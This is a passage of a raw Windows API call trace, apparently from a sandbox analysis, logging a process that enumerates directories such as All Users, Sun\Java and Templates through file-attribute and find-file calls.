ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.563] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu", lpFilePart=0x0) returned 0x1d [0095.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb24) returned 1 [0095.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.564] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun" (normalized: "c:\\users\\all users\\sun"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x412d4fa0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x412d4fa0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x412d4fa0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.564] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun", lpFilePart=0x0) returned 0x16 [0095.564] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.564] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.564] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.564] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.565] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java", lpFilePart=0x0) returned 0x1b [0095.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java" (normalized: "c:\\users\\all users\\sun\\java"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x412d4fa0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x412d4fa0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x412d4fa0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.565] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java", lpFilePart=0x0) returned 0x1b [0095.565] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.565] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.565] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.565] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.565] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x27 [0095.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update" (normalized: "c:\\users\\all users\\sun\\java\\java update"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x412d4fa0, ftCreationTime.dwHighDateTime=0x1d2e637, ftLastAccessTime.dwLowDateTime=0x412d4fa0, ftLastAccessTime.dwHighDateTime=0x1d2e637, ftLastWriteTime.dwLowDateTime=0x412d4fa0, ftLastWriteTime.dwHighDateTime=0x1d2e637, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.565] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x27 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.566] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.566] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x27 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.566] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.566] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.567] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java", lpFilePart=0x0) returned 0x1b [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.567] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.567] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun", lpFilePart=0x0) returned 0x16 [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.567] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.568] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.568] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0095.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Templates" (normalized: "c:\\users\\all users\\templates"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.568] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0095.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb24) returned 1 [0095.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0095.569] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.569] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.570] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0095.570] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0095.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0095.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0095.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0095.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.571] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.572] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0095.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0095.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.573] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.573] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.573] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.573] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.573] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea3c) returned 1 [0095.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea3c) returned 1 [0095.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.581] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.582] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.623] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.623] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.623] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.623] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.703] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.703] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.703] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.703] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.703] FindNextFileW (in: hFindFile=0x6fe9058, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.704] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.704] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0095.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0095.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0095.706] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.706] GetLongPathNameW (in: lpszShortPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x3f [0095.707] GetLongPathNameW (in: 